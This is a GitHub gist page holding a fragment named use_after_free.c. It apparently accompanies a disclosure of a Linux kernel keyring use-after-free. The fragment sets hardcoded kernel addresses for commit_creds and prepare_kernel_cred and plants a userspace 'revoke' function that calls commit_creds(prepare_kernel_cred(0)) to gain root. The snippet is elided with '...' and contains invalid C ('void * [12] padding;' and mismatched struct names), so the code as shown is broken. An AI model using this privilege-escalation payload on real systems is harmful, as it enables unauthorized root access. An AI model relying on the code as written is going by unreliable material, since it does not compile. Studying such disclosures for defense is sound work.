-
-
Save PerceptionPointTeam/8169aaa3e24c2faf9fe2 to your computer and use it in GitHub Desktop.
use_after_free.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); | |
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); | |
struct key_type_s { | |
void * [12] padding; | |
void * revoke; | |
} type; | |
_commit_creds commit_creds = 0xffffffff81094250; | |
_prepare_kernel_cred prepare_kernel_cred = 0xffffffff81094550; | |
void userspace_revoke(void * key) { | |
commit_creds(prepare_kernel_cred(0)); | |
} | |
int main(int argc, const char *argv[]) { | |
... | |
struct key_type * my_key_type = NULL; | |
... | |
my_key_type = malloc(sizeof(*my_key_type)); | |
my_key_type->revoke = (void*)userspace_revoke; | |
... | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment